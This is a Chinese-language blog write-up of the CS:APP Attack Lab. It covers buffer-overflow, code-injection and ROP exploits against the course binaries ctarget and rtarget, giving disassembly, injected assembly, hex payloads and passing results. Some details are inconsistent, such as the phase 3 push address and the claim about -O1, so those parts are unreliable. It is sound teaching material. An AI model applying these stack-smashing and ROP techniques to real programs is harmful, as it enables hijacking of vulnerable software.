Attack Lab

Attack Lab

介绍

主要分为两种不同类型的攻击:

  • Buffer overlow attacks
  • ROP attacks

大概介绍下每个文件的作用:

  • ctarget: 用来做代码注入攻击的程序
  • rtarget: 用来做 ROP 攻击的程序
  • cookie.txt: 一个 8 位的 16 进制代码,用来作为攻击的标识符
  • farm.c: 用来找寻 gadget 的源文件
  • hex2raw: 用来生成攻击字符串的程序

有几点需要注意:

  • 输入的字符串中不能有 0x0a,因为这是 \n 的意思,遇到这个的话会提前结束输入
  • hex2raw 每次需要输入一个 2 位的 16 进制编码,如果想要输出 0,那么需要写 00。想要转换 0xdeadbeef,需要传入 ef be ad de,因为是 little-endian 规则

通过完成本实验达到:

  • 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
  • 深入理解x86-64机器代码的栈和参数传递机制。
  • 深入理解x86-64指令的编码方式。
  • 熟练使用 gdb 和 objdump 等调试工具。
  • 更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。

背景知识

缓冲区溢出

我们通过一个一个例子来观察:

#include<stdio.h>

typedef struct {
int a[2];
double d;
} struct_t;

double fun(int i) {
volatile struct_t s;
s.d = 3.14;
s.a[i] = 1073741824; /* Possibly out of bounds */
return s.d;
}

int main() {
int i = 0;
double d = 0.0;
while(1) {
scanf("%d", &i);
d = fun(i);
printf("fun(%d) -> %.10f \n",i, d);
}
}

输出结果:

fun(0) -> 3.1400000000
fun(1) -> 3.1400000000
fun(2) -> 3.1399998665
fun(3) -> 2.0000006104
fun(4) -> 3.1400000000
fun(5) -> 3.1400000000
fun(6) -> segmentation fault

具体内存中

6 其他特殊字节   f(6)改变了栈中的关键信息,报错
5 其他特殊字节 f(5)改变了栈中的非关键信息,不影响
4 其他特殊字节 f(4)改变了栈中的非关键信息,不影响
3 d中高4字节 f(3)改变了d中的高4字节
2 d中低4字节 f(2)改变了d中的低4字节
1 a[1] f(1)改变不影响
0 a[0] f(0)改变不影响

在 Unix 标准库中的 gets 函数也会出现缓存溢出,随着用户不断输入,缓存区可以不够。

char *gets(char *dest) { 
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n')
{
*p++ = c;
c = getchar();
}
*p = '\0';
return dest;
}

由于C语言中对数组引用不做任何边界检查,而且局部变量和状态信息(例如保存的寄存器值和返回地址)都存放在栈中,所以对越界的数组元素的写操作会破坏存储在栈中的状态信息,可能会产生严重的后果。

栈溢出攻击

栈溢出(stack-based buffer overflows)算是安全界常见的漏洞。一方面因为程序员的疏忽,使用了 strcpy、sprintf 等不安全的函数,增加了栈溢出漏洞的可能。另一方面,因为栈上保存了函数的返回地址等信息,因此如果攻击者能任意覆盖栈上的数据,通常情况下就意味着他能修改程序的执行流程,从而造成更大的破坏。这种攻击方法就是栈溢出攻击(stack smashing attacks)

#include <stdio.h>
#include <stdlib.h>

/* target code */
void smash(){
printf("I've been smashed!\n");
exit(0);
}

/* Implementation of library function gets() */
char *gets(char *s){
int c;
char *dest = s;
while((c = getchar()) != '\n' && c != EOF)
*dest++ = c;
if(c == EOF && dest == s)
/* No characters read */
return NULL;
*dest++ = '\0'; /* Terminate string */
return s;
}

/** Read input line and write it back */
void echo(){
char buf[4];
gets(buf);
puts(buf);
}

int main(int argc, char* argv[]){
echo();
return 0;
}

使用如下命令编译:

gcc -fno-asynchronous-unwind-tables -fno-stack-protector -O1 echo.c -o echo
  • -fno-asynchronous-unwind-tables :不生成CFI指令
  • -fno-stack-protector :阻止进行栈破坏检测,默认是允许使用栈保护者
  • -O1:不做任何优化处理

使用objdump反汇编得到如下结果:

000000000000073a <smash>:
73a: 48 83 ec 08 sub $0x8,%rsp
73e: 48 8d 3d 1f 01 00 00 lea 0x11f(%rip),%rdi # 864 <_IO_stdin_used+0x4>
745: e8 a6 fe ff ff callq 5f0 <puts@plt>
74a: bf 00 00 00 00 mov $0x0,%edi
74f: e8 bc fe ff ff callq 610 <exit@plt>

000000000000079d <echo>:
79d: 53 push %rbx
79e: 48 83 ec 10 sub $0x10,%rsp
7a2: 48 8d 5c 24 0c lea 0xc(%rsp),%rbx
7a7: 48 89 df mov %rbx,%rdi
7aa: e8 a5 ff ff ff callq 754 <gets>
7af: 48 89 df mov %rbx,%rdi
7b2: e8 39 fe ff ff callq 5f0 <puts@plt>
7b7: 48 83 c4 10 add $0x10,%rsp
7bb: 5b pop %rbx
7bc: c3 retq

00000000000007bd <main>:
7bd: 48 83 ec 08 sub $0x8,%rsp
7c1: b8 00 00 00 00 mov $0x0,%eax
7c6: e8 d2 ff ff ff callq 79d <echo>
7cb: b8 00 00 00 00 mov $0x0,%eax # 调用echo之后返回这里
7d0: 48 83 c4 08 add $0x8,%rsp
7d4: c3 retq
7d5: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
7dc: 00 00 00
7df: 90 nop

具体的执行到 echo 函数的栈帧,当我们输入超过 23 个字符(加上\0 一共24个),就会影响到返回地址。如果最后地址为00000000 0000073a 就能转到 smash 方法。

代码注入攻击

Code Injection Attacks(代码注入攻击)是指输入的字符串中包含exploit code的字节表示,将返回地址改成exploit code的首地址,这样在ret时将会跳转到exploit code处执行。

ROP 攻击

缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。

(1)栈随机化

栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。上述3个阶段中,栈的地址是固定的,所以我们可以获取到栈的地址,并跳转到栈的指定位置。

(2)栈破坏检测

最近的GCC版本在产生的代码加入了一种栈保护者机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的,那么程序异常中止。

(3)限制可执行代码区域

最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。

在ROP攻击中,因为栈上限制了不可插入可执行代码,所以不能像上述第二、第三阶段中插入代码。所以我们需要在已经存在的程序中找到特定的指令序列,并且这些指令是以ret结尾,这一段指令序列,我们称之为gadget

每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码,对程序造成攻击。

示例

void setval_210(unsigned *p)
{
*p = 3347663060U;
}

对于上述代码,进行反汇编我们可以得到如下的执行序列,从中我们一个得到一个有趣指令序列:

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

其中,字节序列48 89 c7是对指令movq %rax, %rdi的编码,这就是一个 gadget,就这样我们可以利用已经存在的程序,从中提取出特定的指令,执行特定的功能,地址为0x400f18,其功能是将%rax的内容移到%rdi

下面是指令参考表:

防止栈溢出攻击方法

  • 避免使用gets等存在安全隐患的库函数
  • 操作系统层面:栈随机偏移。在每次程序执行之初,在栈上申请一段随机大小的空间使整个栈移动一段距离,这样可以防止黑客预测exploit code开始的地址
  • 操作系统层面:将栈设置为不可执行(Nonexecutable),这样执行exploit code时会报错
  • 金丝雀(canary)机制。在buffer之外放置一个特殊的保护值(canary),在函数执行完返回之前检查保护值是否被更改,如果被更改则检测到stack smashing。

实验部分

阶段一

这个需要我们在执行 test ,可以调用另外方法,进行劫持程序。在这个阶段中,我们的任务是在test函数执行完getbuf后返回到touch1函数。

void test() {
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}

void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

思路:

  • 找到getbuf函数在栈上为输入字符串分配的缓冲区大小
  • 找到touch1函数的首地址
  • 构造 exploit code,将缓冲区填满,并在随后的8个字节(返回地址)上填写touch1函数的首地址

查看 getbuf 缓冲区大小,sub $0x28,%rsp,可以知道在栈上分配了 40 字节大小。

(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.

找到 touch1 的首地址,为 0x004017c0

(gdb) disas touch1
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
End of assembler dump.

前 40 位可以任意输入,只是为了填充缓冲区,最后 8 位是我们的构造 touch1 的地址

00 00 00 00 
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00
00 00 00 00

具体在栈帧中,如图

测试结果

> ./hex2raw -i solution1.hex > solution1.raw
> ./ctarget -q < solution1.raw
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
ubuntu@10-13-181-207:~/cuzz/csapp

阶段二

第二阶段的任务是在test函数执行完getbuf后去执行touch2,注意touch2有一个参数,我们需要在执行touch2之前把参数val设置为cookiecookie的值在cookie.txt中。

void test() {
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}

void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie)
{
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else
{
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

使用代码注入攻击,输入的字符串中包含攻击指令,然后将返回地址改成攻击指令的地址。这段程序就是验证传进来的参数val是否和cookie中值相等。本文中我的cookie值为:0x59b997fa

  • 在输入字符串中包含 exploit code
  • 将返回地址设置为 exploit code 开始的地址
  • 在 exploit code 中完成参数设置,将 touch2 的首地址压栈,通过 ret 指令跳到 touch2 执行

具体过程如下:

综上所述,可以得到注入的代码为,创建一个 solution2.s 汇编文件

movq    $0x59b997fa, %rdi    # 把cookie设置为第一个参数
pushq $0x4017ec # 将touch2的首地址压栈
ret # 跳转到touch2

将汇编转化为机器指令

> gcc -c solution2.s
> objdump -d solution2.o
Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq

得到的序列为:

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

接下来找到 getbuf 方法中的 %rsp 值,看看缓存区是从哪里开始

(gdb) run -q
Starting program: /home/ubuntu/cuzz/csapp/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) stepi
14 in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
=> 0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) p /x $rsp
$1 = 0x5561dc78
(gdb)

可以知道 %rsp 的值为 0x5561dc78,构造输入字符串

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 # exploit code
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 填充
78 dc 61 55 00 00 00 00 # 返回地址

测试结果

> ./hex2raw -i solution2.hex > solution2.raw
> ./ctarget -q < solution2.raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

阶段三

这个也是进行代码注入攻击,需要传递一个字符串到 touch3 方法中。

void test() {
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}

void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0; # 检查字符串以0结尾
}

这次比较字符串,我们不能把他保存在 getbuf栈帧中,因为数据可能会被 hexmatch 重写,放在 getbuf 中并不安全,我们可以放在 test 栈帧中。

具体如图

将 cookie 转为字符串表达形式,对应 ASCII 表

0x45374fee -> 34 35 33 37 34 66 65 65

注入汇编代码

movq $0x5561dca8, %rdi
pushq $0x4018fa
ret

转换为机器指令

> gcc -c solution3.s
> objdump -d solution3.o
Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq

最终得到

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3  //inject code
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 // return address
35 39 62 39 39 37 66 61 00 // cookie

测试结果

> ./hex2raw -i solution3.hex > solution3.raw
> ./ctarget -q < solution3.raw
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

阶段四

这一阶段还是要劫持 touch2 函数,但是不能用注入攻击,因为使用了两种手段来阻止

  • 栈随机化
  • 将栈锁在的内存标记为不可执行

我们只能通过 ROP 方式来攻击

void test() {
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}

void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie)
{
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else
{
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

注意这里的内容都是 16 进制。另外两个指令是:

  • ret: 一个字节编码 0xc3
  • nop: 什么都不做,只是让程序计数器加一,一个字节编码 0x90

我们需要代码序列为

popq %rax
movq %rax, %rdi

popq %rax的指令字节为:58,所以我们找到了如下函数:

00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3

从中我们可以得出popq %rax指令的地址为:0x4019ab

movq %rax, %rdi的指令字节为:48 89 c7,所以我们找到了如下函数:

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3

从中我们可以得出movq %rax, %rdi指令的地址为:0x4019a2

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 # gadget 1
fa 97 b9 59 00 00 00 00 # cookie
a2 19 40 00 00 00 00 00 # gadget 2
ec 17 40 00 00 00 00 00 # touch2地址

具体如图

popq 相当于 %rsp 减 8 指向 cookie,然后(%rsp) 值赋值给 %rax ,接着 ret%rsp 减 8 ,指向 movq 这里,这里把 cookie 放到 %rdi 中作为第一个参数。

测试

> ./hex2raw -i solution4.hex > solution4.raw
> ./rtarget -q < solution4.raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

总结

整个 lab 做完,对栈的分配依据栈缓冲区有了更深入的理解,认识了栈溢出攻击和 ROP 攻击,知道了其中原理,以及如何避免这样的攻击,整体来说还是很有意义的 lab。

参考

Comments